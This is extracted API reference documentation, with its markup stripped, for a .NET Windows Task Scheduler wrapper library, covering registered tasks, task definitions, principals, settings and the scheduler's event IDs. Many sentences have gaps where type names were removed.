Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent 